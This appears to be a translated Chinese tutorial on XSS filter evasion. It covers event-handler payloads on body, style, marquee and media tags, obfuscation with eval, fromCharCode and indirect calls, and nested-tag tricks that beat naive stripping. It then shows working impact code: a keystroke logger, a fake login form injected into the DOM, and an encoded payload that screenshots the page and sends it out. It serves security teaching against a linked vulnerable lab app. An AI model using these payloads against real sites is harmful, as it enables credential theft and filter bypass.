幾種加載XSS Payload的不常見(jiàn)標(biāo)簽
和我們能想到的一樣仇让,預(yù)防是最好的治療方法典奉,而且去嘗試和緩解一些意外的攻擊也不失為一種好的策略實(shí)踐。通常情況下丧叽,大多數(shù)組織機(jī)構(gòu)只會(huì)部署現(xiàn)成的WAF產(chǎn)品(網(wǎng)絡(luò)應(yīng)用防火墻)卫玖,而不是制訂開(kāi)發(fā)適合自身的緩解技術(shù),根本不會(huì)意識(shí)到那些結(jié)合自身的防護(hù)技術(shù)才是最恰當(dāng)最精準(zhǔn)的安全措施踊淳。
這樣一來(lái)骇笔,攻擊者們?cè)跇?gòu)造代碼驗(yàn)證請(qǐng)求或?qū)嵤┐a審計(jì)之后,有WAF產(chǎn)品也沒(méi)用嚣崭,攻防雙方就又形成了貓捉老鼠或是打地鼠的游戲格局了笨触。
就通用的XSS filter來(lái)說(shuō),因?yàn)?lt;script>是引入JavaScript腳本執(zhí)行的原始方法雹舀,所以其中對(duì)<script> 和 </script> 配對(duì)標(biāo)簽的使用是完全禁止的芦劣。
如果一個(gè)攻擊者發(fā)現(xiàn)<script>標(biāo)簽被禁止之后,他可能會(huì)轉(zhuǎn)向?qū)で笃渌椒▉?lái)執(zhí)行JavaScript腳本说榆,打地鼠游戲就開(kāi)始了虚吟。
眾所周知寸认,一種調(diào)用JavaScript的方法就是在元素類(lèi)型上使用事件處理器(Event Handler),通常的一種方法類(lèi)似:<img src=x onerror=alert(‘xss’) />串慰,這是一種使用無(wú)效src屬性來(lái)觸發(fā) onerror 事件處理器(onerror event handler)的方法偏塞,當(dāng)然,其中包含了一個(gè)alert跳出框的xss payload邦鲫,如下alert(1):
由于過(guò)度使用img標(biāo)簽和onerror事件處理器灸叼,它們經(jīng)常被列入XSS過(guò)濾黑名單,但除此之外還有其它形式的XSS攻擊向量庆捺。雖然所有可能的XSS攻擊向量標(biāo)簽列表無(wú)法一時(shí)列出古今,但其中幾種非常有必要在此談?wù)劇?p>Body 標(biāo)簽
由于這種攻擊方法向量,在給定頁(yè)面中只有一個(gè)body標(biāo)簽滔以,有些人可能認(rèn)為它不起作用捉腥,但實(shí)際上,所有瀏覽器都會(huì)把它當(dāng)事件處理器(Event Handler)來(lái)執(zhí)行你画。在這里抵碟,可以在onpageshow事件中用提交body元素的方法,形成XSS Payload坏匪,當(dāng)其中的body元素被解析后就會(huì)觸發(fā)Payload拟逮。示例如下:
<body onpageshow=alert(1)>
Style 標(biāo)簽
盡管onload事件總會(huì)被識(shí)別為危險(xiǎn)動(dòng)作,但另外來(lái)說(shuō)剥槐,它也可以和style標(biāo)簽組合來(lái)用唱歧,雖然這種場(chǎng)景并不多見(jiàn)。示例如下:
<style onload=alert(1) />
Marquee 標(biāo)簽
Marquee 標(biāo)簽除了在web開(kāi)發(fā)中有標(biāo)簽內(nèi)容回滾作用之外粒竖,它還支持一系列的事件處理程序颅崩,因此可以用它來(lái)實(shí)現(xiàn)XSS Payload觸發(fā)。Marquee支持的一系列事件處理程序如下:
onbounce事件:是在<marquee>標(biāo)簽中的內(nèi)容滾動(dòng)到上下或左右邊界時(shí)觸發(fā)的事件處理程序蕊苗,該事件只有在<marquee>標(biāo)簽的behavior屬性設(shè)為alternate時(shí)才有效沿后;
onfinish事件:當(dāng) marquee 完成 loop 屬性設(shè)置的值時(shí)觸發(fā)。它只能在 loop 屬性設(shè)置為大于 0 的某個(gè)數(shù)字時(shí)觸發(fā)朽砰;
onstart事件: 當(dāng) marquee 標(biāo)簽內(nèi)容開(kāi)始滾動(dòng)時(shí)觸發(fā)尖滚。
結(jié)合此,加入XSS Payload的示例如下:
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee><marquee loop="1" onfinish=alert(1)>hack the planet</marquee><marquee onstart=alert(1)>hack the planet</marquee>
Media 標(biāo)簽
可能這種利用音視頻標(biāo)簽來(lái)加載XSS Payload的方法很少見(jiàn)瞧柔,實(shí)際來(lái)說(shuō)漆弄,音視頻標(biāo)簽中確實(shí)有幾種事件處理程序不會(huì)輕易被列入黑名單行列,尤其是以下幾種:
oncanplay: 在用戶(hù)可以開(kāi)始播放音視頻(audio/video)時(shí)觸發(fā)造锅;
ondurationchange: 在音視頻(audio/video)的時(shí)長(zhǎng)發(fā)生變化時(shí)觸發(fā)撼唾;
onended: 在音視頻(audio/video)播放結(jié)束時(shí)觸發(fā);
onloadeddata: 在音視頻數(shù)據(jù)幀加載時(shí)觸發(fā)哥蔚,也即在當(dāng)前幀的數(shù)據(jù)加載完成且還沒(méi)有足夠的數(shù)據(jù)播放音視頻(audio/video)的下一幀時(shí)觸發(fā)倒谷;
onloadedmetadata: 在指定音視頻(audio/video)的元數(shù)據(jù)(如分辨率和時(shí)長(zhǎng))加載后觸發(fā)蛛蒙;
onloadstart: 在瀏覽器開(kāi)始尋找指定音視頻(audio/video)時(shí)觸發(fā);
onprogress: 瀏覽器下載指定的音視頻(audio/video)時(shí)觸發(fā)渤愁;
onsuspend: 在瀏覽器讀取音視頻(audio/video)數(shù)據(jù)中止時(shí)觸發(fā)牵祟。
結(jié)合以上事件,加入XSS Payload的示例如下:
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" /><audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" /><audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" /><audio onprogress=alert(1) src="/media/hack-the-planet.mp3" /><audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" /><video oncanplay=alert(1) src="/media/hack-the-planet.mp4" /><video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" /><video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" /><video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" /><video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" /><video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /><video onprogress=alert(1) src="/media/hack-the-planet.mp4" /><video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />
黑名單代碼樣式
正如很多殺毒軟件的模式匹配規(guī)則一樣抖格,只要某種行為動(dòng)作和其內(nèi)置的規(guī)則相匹配诺苹,則該動(dòng)作就會(huì)被馬上列入黑名單中禁止執(zhí)行。
在有些場(chǎng)景下他挎,我們發(fā)現(xiàn)與JavaScript代碼同義的各種動(dòng)作都會(huì)被目標(biāo)防護(hù)軟件列入黑名單筝尾,甚至是使用正常的alert也不例外捡需。在此办桨,有幾種方法可以繞過(guò)這些模式匹配規(guī)則。
Eval & 其它冗余符號(hào)
如果目標(biāo)系統(tǒng)的WAF或其它防護(hù)軟件沒(méi)把 /(eval|replace)(.+?)/i 這種樣式列入黑名單站辉,那么我們可以在其中通過(guò)夾雜冗余符號(hào)的方式形成Payload呢撞,利用其中的eval動(dòng)作來(lái)加載Payload,再利用之后的replace動(dòng)作把冗余符號(hào)進(jìn)行替換刪除饰剥。
就比如殊霞,eval(‘a(chǎn)lert(1)’) 等同于 alert(1) ,傳入eval的字符串行為會(huì)被解釋執(zhí)行汰蓉,如果我們按照常規(guī)方式來(lái)構(gòu)造绷蹲,肯定會(huì)被目標(biāo)系統(tǒng)中的WAF類(lèi)產(chǎn)品識(shí)別阻擋。
所以顾孽,在此祝钢,我們可以通過(guò)eval和replace事件的組合利用,先在其中加入一些冗余符號(hào)來(lái)進(jìn)行混淆若厚,再進(jìn)行替換刪除拦英,最終繞過(guò)WAF規(guī)則,形成我們想要達(dá)到的Payload测秸。示例如下:
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
圍繞引號(hào)轉(zhuǎn)義來(lái)做文章
當(dāng)引號(hào)被轉(zhuǎn)義(escape)之后疤估,不管使用了什么繞過(guò)技術(shù),肯定會(huì)引起問(wèn)題霎冯,就像上面的eval(‘alert(1)’.replace(/~/g, ”))一樣铃拇,如果要順帶把引號(hào)轉(zhuǎn)義,其Payload可能如下:
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
但另一種變換方法就是利用正則表達(dá)式來(lái)避免帶入引號(hào)的使用沈撞,如可以在上述Payload中引入正斜杠方式慷荔,然后再用創(chuàng)建的正則表達(dá)式對(duì)象屬性來(lái)訪(fǎng)問(wèn)其中的閉合字符串。示例如下:
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
以此用new String()來(lái)實(shí)現(xiàn)把~轉(zhuǎn)換為空字符串的目的关串,從而不需要用到引號(hào)拧廊。
對(duì)引號(hào)實(shí)行轉(zhuǎn)義并繞過(guò)WAF類(lèi)產(chǎn)品模式匹配規(guī)則的一個(gè)有效手段是使用eval的String.fromCharCode方法监徘,該方法將獲取一個(gè)或多個(gè)十進(jìn)制Unicode值,然后將它們轉(zhuǎn)換成等效的ASCII字符吧碾,并將它們連成一個(gè)字符串凰盔,如:
console.log(String.fromCharCode(65,66,67,68)) //在終端返回顯示的是字符串 "ABCD"
通過(guò)這種對(duì)Unicode值的轉(zhuǎn)換,可以把目標(biāo)值傳遞給eval倦春,因此户敬,可以構(gòu)造Payload如下:
eval(String.fromCharCode(97,108,101,114,116,40,49,41)) //// 最終執(zhí)行的會(huì)是 alert(1)
其它使用Eval的方法
上面的例子有些是圍繞eval的使用而不是過(guò)濾來(lái)談的,由于eval是一種大家熟知的危險(xiǎn)方法睁本,所以經(jīng)常會(huì)看到/eval(.+?)/i這樣的過(guò)濾方式尿庐。
相應(yīng)的,我們也可以采取其它方法來(lái)規(guī)避過(guò)濾呢堰。由于函數(shù)可以存儲(chǔ)在JavaScript的變量中抄瑟,所以為了不直接調(diào)用eval,我們可以把它分配給一個(gè)變量枉疼,然后間接調(diào)用它皮假,示例如下:
var x = eval; x(‘a(chǎn)lert(1)’)
另外一種間接調(diào)用eval的方法是用括號(hào)進(jìn)行構(gòu)造,即用括號(hào)間接調(diào)用法骂维,如表達(dá)式(1,2,3,4)返回的是4惹资,即括號(hào)中最后一個(gè),所以(1,eval)返回的是函數(shù)eval航闺,具體示例如下:
(eval) // 返回函數(shù)eval (1, eval) // 仍然返回函數(shù)eval
因此可以構(gòu)造以下Payload來(lái)執(zhí)行:
(1, eval)('alert(1)') // 返回 alert(1)
基于此褪测,也可以使用call方法來(lái)直接調(diào)用,如下:
eval.call(null, 'alert(1)') //返回 alert(1)
其次潦刃,可以定義一個(gè)新函數(shù)的方法來(lái)規(guī)避直接對(duì)eval的調(diào)用侮措,當(dāng)然這種方法還會(huì)涉及到一些語(yǔ)法定義,如下:
function hackThePlanet () { alert(1)}
最后福铅,還可以用創(chuàng)建Function對(duì)象的方式來(lái)實(shí)現(xiàn)alert調(diào)用萝毛,該對(duì)象接受構(gòu)造函數(shù)中的字符串作為函數(shù)實(shí)現(xiàn),如下:
new Function('alert(1)')()
利用錯(cuò)誤輸入過(guò)濾機(jī)制實(shí)現(xiàn)繞過(guò)
如果用戶(hù)輸入內(nèi)容看似危險(xiǎn)滑黔,那么就需要對(duì)其輸入和響應(yīng)進(jìn)行一些過(guò)濾笆包,最好的方法就是只顯示出一些通用性錯(cuò)誤或是直接拒絕用戶(hù)的整個(gè)請(qǐng)求。
不管怎么說(shuō)略荡,這種定制化的緩解防護(hù)策略也很常見(jiàn)庵佣,但就像上述我們提到的各種繞過(guò)技術(shù)一樣,如果我們充分了解了目標(biāo)系統(tǒng)的輸入過(guò)濾機(jī)制汛兜,那么巴粪,也可以利用這種過(guò)濾機(jī)制,以其人之道還治其人之身,最終構(gòu)造出我們的有效Payload肛根。
利用不安全樣式刪除機(jī)制
刪除不安全危險(xiǎn)數(shù)據(jù)的最常見(jiàn)方法之一可能就是把它直接刪除辫塌,一些過(guò)濾器只會(huì)簡(jiǎn)單地認(rèn)為,危險(xiǎn)數(shù)據(jù)刪除了就安全了派哲。
這種刪除機(jī)制除非是遞歸方法執(zhí)行臼氨,否則,它也會(huì)自己把自己玩死芭届。就像如果<script>和 </script>標(biāo)簽對(duì)會(huì)被過(guò)濾器轉(zhuǎn)換為空字符串储矩,那么,把它們組合構(gòu)造夾雜放入一條javascript中褂乍,最終只有<script>和 </script>標(biāo)簽對(duì)被刪除了持隧,其它剩下的就又形成了新的組合方式,示例如下:
<sc<script>ript>alert(1)</sc</script>ript>
上述javascript中逃片,如果過(guò)濾器只是簡(jiǎn)單地把<script>和 </script>標(biāo)簽對(duì)刪除了屡拨,那么最終會(huì)剩下:
<script>alert(1)</script>
完美,這就是我們想要的题诵。同樣的方法可以應(yīng)用到一些標(biāo)簽屬性或事件處理程序中洁仗,就像如果onerror是刪除目標(biāo)层皱,那么性锭,我們可以構(gòu)造以下Payload:
<img src=x ononerrorerror=alert(1) />
最終刪除后剩下的結(jié)果為:
<img src=x onerror=alert(1) />
替換不安全樣式
當(dāng)一些不安全的樣式被替換而不是被刪除之后,目標(biāo)系統(tǒng)過(guò)濾器要識(shí)別它們叫胖,可能就有一些麻煩了草冈。根據(jù)不同的過(guò)濾器規(guī)則,可以使用替換方式來(lái)構(gòu)造我們最終想要的Payload瓮增。
就比如怎棱,如果目標(biāo)系統(tǒng)的過(guò)濾器會(huì)把<script></script>標(biāo)簽對(duì)都過(guò)濾替換為NAUGHTY_HACKER字段,那么绷跑,我們提交<script>alert(1)</script> 之后的結(jié)果就會(huì)是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER拳恋。
但如果我們把<script>標(biāo)簽對(duì)的聲明改為<script <script>> 和 </script </script>>這種嵌套式樣式后,那么參照替換為NAUGHTY_HACKER字段的規(guī)則砸捏,對(duì)于<script>alert(1)</script>來(lái)說(shuō)谬运,目標(biāo)過(guò)濾器會(huì)把它過(guò)濾為:
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
在開(kāi)始標(biāo)簽<script NAUGHTY_HACKER>中,瀏覽器會(huì)把NAUGHTY_HACKER默認(rèn)解析為一個(gè)不帶值的屬性垦藏,就像input中的autofocus屬性一樣梆暖。在閉合標(biāo)簽</script NAUGHTY_HACKER>中,雖然技術(shù)上屬于無(wú)效掂骏,但最終卻能正確解析轰驳。因?yàn)闉g覽器在某種程度上為了減少錯(cuò)誤,雖然能識(shí)別到這個(gè)附加屬性,但會(huì)簡(jiǎn)單地把它忽視掉级解。最終在瀏覽器的檢查器效果如下:
XSS的影響絕不僅僅是跳出彈框冒黑!
一些XSS披露漏洞中簡(jiǎn)單的跳出彈框PoC證明,可能是導(dǎo)致XSS漏洞危害被認(rèn)知不足的一個(gè)原因吧勤哗,盡管XSS調(diào)用alert形式的彈框能證明漏洞的存在薛闪,但卻不能很好地證明XSS漏洞的實(shí)際威力和影響。所以俺陋,XSS漏洞導(dǎo)致的JavaScript執(zhí)行到底會(huì)有多嚴(yán)重豁延,讓我們產(chǎn)生無(wú)限遐想。在此就分享兩個(gè)案例腊状。
無(wú)需會(huì)話(huà)Cookie劫持實(shí)現(xiàn)賬戶(hù)獲取
會(huì)話(huà)Cookie劫持可能是XSS攻擊中對(duì)目標(biāo)系統(tǒng)或用戶(hù)的最大潛在威脅诱咏,因?yàn)檫@通常會(huì)導(dǎo)致目標(biāo)用戶(hù)的會(huì)話(huà)被攻擊者完全操縱利用。
越來(lái)越多的人熟知會(huì)話(huà)劫持的風(fēng)險(xiǎn)缴挖,因此袋狞,后期在會(huì)話(huà)信息中加入了HttpOnly標(biāo)志,來(lái)避免JavaScript讀取Cookie映屋,這應(yīng)該算是一個(gè)大的改進(jìn)了苟鸯,但實(shí)際來(lái)說(shuō),劫持賬戶(hù)也并不只有Cookie劫持一種方法棚点。
有很多事件程序可以和JavaScript關(guān)聯(lián)起來(lái)早处,其中一個(gè)就是 keypress 按鍵事件(你能看到該事件背后會(huì)發(fā)生什么嗎?)瘫析。通過(guò)在keypress事件的document調(diào)用方法中添加回調(diào)函數(shù)Callback砌梆,在用戶(hù)點(diǎn)擊、按下或選中觸發(fā)回調(diào)贬循,以此來(lái)截取用戶(hù)的按鍵信息咸包。
通過(guò)這種操作,攻擊者可以有效地將鍵盤(pán)記錄器植入用戶(hù)瀏覽器中杖虾,實(shí)現(xiàn)按鍵監(jiān)聽(tīng)烂瘫,竊取用戶(hù)密碼憑據(jù)相關(guān)的按鍵信息。如下視頻:
上圖中奇适,keypress 按鍵事件通過(guò)包含以下內(nèi)容的JavaScript文件坟比,捕獲按鍵事件信息并發(fā)送到攻擊者的本地web服務(wù)器中。document.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key)})
DOM 形式的操縱利用
雖然上述XSS構(gòu)造的鍵盤(pán)記錄器能正常起效滤愕,但如果不被目標(biāo)用戶(hù)信任温算,迷惑不了目標(biāo)用戶(hù)執(zhí)行輸入,那么间影,這種攻擊最后也會(huì)無(wú)效注竿。
我們可以對(duì)上述鍵盤(pán)記錄器PoC稍作修改,可以修改執(zhí)行時(shí)的DOM,用包含登錄頁(yè)面的body內(nèi)容進(jìn)行替換巩割。這樣一來(lái)裙顽,可以把任意標(biāo)記內(nèi)容都分配給document.body.innerHTML作為屬性,如下:
var dummyFormHtml = 'We\'ve had reports of bad guys trying to do wrong by ' + 'our users lately - help us, help you, by logging in ' + 'again to confirm your identity<br><input type="text" />' + '<br><input type="password" /><br><input type="submit" value="Login" />'document.body.innerHTML = dummyFormHtmldocument.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key)})
這樣宣谈,頁(yè)面的body內(nèi)容將會(huì)形成一個(gè)迷惑性的登錄框愈犹,誘使用戶(hù)輸入密碼憑據(jù)等敏感信息。如下:
雖然這只是個(gè)簡(jiǎn)單的示例闻丑,但是基于此漩怎,攻擊者可以創(chuàng)建和網(wǎng)站登錄頁(yè)面一模一樣的釣魚(yú)頁(yè)面,以假亂真嗦嗡,形成有效攻擊勋锤。畢竟,大部份受害者只要看到正確的域名侥祭,就不會(huì)對(duì)登錄頁(yè)面產(chǎn)生太多質(zhì)疑叁执。DOM 形式的這種操縱利用遠(yuǎn)不止于此,另外矮冬,它還可以用來(lái)構(gòu)造復(fù)雜的社工攻擊谈宛。比如,可以被構(gòu)造用來(lái)向用戶(hù)發(fā)送提示通知胎署,告訴用戶(hù)需要通過(guò)某個(gè)號(hào)碼去聯(lián)系客戶(hù)支持部門(mén)吆录,如果這種提示顯示在和用戶(hù)訪(fǎng)問(wèn)的目標(biāo)網(wǎng)站相同的域名上,那么其可信度就相當(dāng)高了硝拧,只要用戶(hù)撥通所謂的客戶(hù)部門(mén)電話(huà)径筏,個(gè)人敏感信息就會(huì)被攻擊者輕易獲得。
一圖勝千言 – 利用XSS竊取用戶(hù)瀏覽器視圖截圖
如今障陶,隨著現(xiàn)代瀏覽器功能特性的不斷發(fā)展更新,XSS Payload的構(gòu)造方式也不斷升級(jí)聊训,利用新的瀏覽器功能特性抱究,攻擊者甚至可以竊取到用戶(hù)當(dāng)前瀏覽器視圖的截圖信息。
html2canvas 能夠?qū)崿F(xiàn)在用戶(hù)瀏覽器端直接對(duì)整個(gè)或部分頁(yè)面進(jìn)行截屏带斑,利用這一功能鼓寺,攻擊者用6行JavaScript代碼就能竊取受害者瀏覽器視圖截圖,并回傳到控制服務(wù)器勋磕。代碼示例如下:
html2canvas(document.querySelector("body")).then(canvas => { var xhr = new XMLHttpRequest() xhr.open('POST', '/screenshot') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))});
結(jié)合上述代碼妈候,構(gòu)造以下Payload提交到測(cè)試的目標(biāo)用戶(hù)應(yīng)用中,之后挂滓,就會(huì)生成一張包含目標(biāo)用戶(hù)使用信息的截圖圖片苦银,而且該圖片會(huì)被回傳至攻擊者控制服務(wù)器中。
<img src="/media/hack-the-planet.jpg" onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />
上述代碼中的十進(jìn)制數(shù)編碼對(duì)應(yīng)的就是以下函數(shù)方法:
setTimeout(function() { var d = document; var a = d.createElement('script'); a.setAttribute('src','/scripts/screenshot.js'); d.head.appendChild(a);}, 1000)
setTimeout()方法用于在指定的毫秒數(shù)后調(diào)用函數(shù),這里調(diào)用了setTimeout原因是為了確保圖像顯示在屏幕上以供驗(yàn)證說(shuō)明幔虏。
雖然上述Payload是將截圖發(fā)送到和目標(biāo)Web應(yīng)用相同的服務(wù)器中纺念,但在實(shí)際環(huán)境中,完全可以把截圖發(fā)送到攻擊者控制的遠(yuǎn)程外部服務(wù)器中去想括。
Payload一旦執(zhí)行后陷谱,一個(gè)名為screenshot.png的截圖文件就會(huì)出現(xiàn)在Node.js應(yīng)用中,該截圖包含了網(wǎng)頁(yè)內(nèi)容瑟蜈,如下:
雖然這種攻擊的實(shí)際應(yīng)用有限烟逊,但它可以很好地詮釋利用XSS漏洞能實(shí)現(xiàn)的攻擊場(chǎng)景,值得思考借鑒铺根。參考
如果你想實(shí)際動(dòng)手測(cè)試這篇文章中提到基于Node.js的Web應(yīng)用實(shí)例焙格,把玩其中的鍵盤(pán)記錄器或?yàn)g覽器截圖程序,請(qǐng)參考我們的GitHub頁(yè)面:https://github.com/DigitalInterruption/vulnerable-xss-app